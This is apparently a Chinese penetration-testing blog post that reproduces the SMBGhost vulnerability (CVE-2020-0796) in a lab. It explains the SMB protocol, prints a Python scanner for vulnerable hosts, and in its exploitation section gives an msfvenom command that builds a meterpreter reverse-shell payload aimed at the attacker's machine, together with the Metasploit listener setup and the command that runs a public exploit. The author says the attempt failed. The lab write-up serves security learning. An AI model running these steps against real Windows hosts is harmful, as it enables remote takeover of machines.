【渗透测试】CVE-2020-0796(永恒之黑)复现(含流量分析)

目录

        • 一、漏洞介绍
        • 二、影响版本
        • 三、实验环境
        • 四、背景知识【SMB协议相关】
          • 1、SMB概述
          • 2、SMB服务工作原理
          • 3、协议分析网址请参考
        • 五、复现
          • 1、漏洞检测
          • 2、漏洞利用

一、漏洞介绍

2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。

二、影响版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
只影响 SMB v3.1.1,1903和1909

三、实验环境

Win10:10.95.16.112(无防护无墙)
Kali:10.95.16.113

四、背景知识【SMB协议相关】

1、SMB概述

SMB(全称是Server Message Block)是一个协议名,可用于在计算机间共享文件、打印机、串口等,电脑上的网上邻居就是靠它实现的。

SMB 是一种客户机/服务器、请求/响应协议。通过 SMB 协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通过 SMB 协议,应用程序可以访问远程服务器端的文件、以及打印机等资源。

SMB一开始的设计是在NetBIOS协议上运行的,而NetBIOS本身则运行在NetBEUI、IPX/SPX或TCP/IP协议上。

NetBIOS 使用下列端口:UDP/137(NetBIOS 名称服务)、UDP/138(NetBIOS 数据报服务)、TCP/139(NetBIOS 会话服务);SMB 使用下列端口:TCP/139、TCP/445。 #NetBIOS用于局域网内主机名发现。

2、SMB服务工作原理

① 首先客户端发送一个SMB negprot请求数据报,并列出它所支持的所有SMB协议版本。服务器收到请求信息后响应请求,并列出希望使用的协议版本。如果没有可使用的协议版本则返回0XFFFFH,结束通信。

② 协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SesssetupX请求数据报实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后服务器通过发送一个SesssetupX应答数据报来允许或拒绝本次连接。

③ 当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问网络资源的名称,之后服务器会发送一个TconX应答数据报以表示此次连接是否被接受或拒绝。

④ 连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。

3、协议分析网址请参考

https://www.cnblogs.com/yuzly/p/10480438.html

五、复现

1、漏洞检测
python3 check.py 10.95.16.112

在这里插入图片描述

检测脚本如下

import socket
import struct
import sys
from netaddr import IPNetwork
 
pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
 
subnet = sys.argv[1]
 
for ip in IPNetwork(subnet):
 
    sock = socket.socket(socket.AF_INET)
    sock.settimeout(3)
 
    try:
        sock.connect(( str(ip),  445 ))
    except:
        sock.close()
        continue
 
    sock.send(pkt)
 
    nb, = struct.unpack(">I", sock.recv(4))
    res = sock.recv(nb)
 
    if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":
        print(f"{ip} Not vulnerable.")
    else:
        print(f"{ip} Vulnerable")

【检测脚本流量】
SMB2的request数据包
【渗透测试】CVE-2020-0796(永恒之黑)复现(含流量分析)_第1张图片
SMB2的response数据包-1

SMB2的response数据包-2
【渗透测试】CVE-2020-0796(永恒之黑)复现(含流量分析)_第2张图片
追踪TCP流
【渗透测试】CVE-2020-0796(永恒之黑)复现(含流量分析)_第3张图片
可以看到112在给113的回包中ASCII编码泄露的Token Signing Public Key

附件:奇安信检测exp
http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
【渗透测试】CVE-2020-0796(永恒之黑)复现(含流量分析)_第4张图片

2、漏洞利用

RCE: https://github.com/chompie1337/SMBGhost_RCE_PoC
在这里插入图片描述

【思路】使用这个工具生成shellcode,利用shellcode做成反弹的shell脚本,反弹目标机的控制权

  • 1、生成shellcode文件
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.95.16.113  lport=4444 -f py -o shellcode.txt

在这里插入图片描述
【渗透测试】CVE-2020-0796(永恒之黑)复现(含流量分析)_第5张图片

  • 2、将shellcode.txt里面的内容替换给exploit.py中的USER_PAYLOAD
    【这里我直接写了一个exploit-test.py文件上传到原目录下】
  • 3、msf监听4444端口
use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lport 4444
msf5 exploit(multi/handler) > set lhost 10.95.16.113
msf5 exploit(multi/handler) > run

【渗透测试】CVE-2020-0796(永恒之黑)复现(含流量分析)_第6张图片
执行脚本exploit-test.py

python3 exploit-test.py -ip 10.95.16.112

【渗透测试】CVE-2020-0796(永恒之黑)复现(含流量分析)_第7张图片
脚本好像不太稳定,尝试了N+1没有成功。。。。

2021.9.30
by 久违
后面找时间再试试TT

你可能感兴趣的:(渗透测试,内网,系统安全,web安全,网络安全,tcp/ip)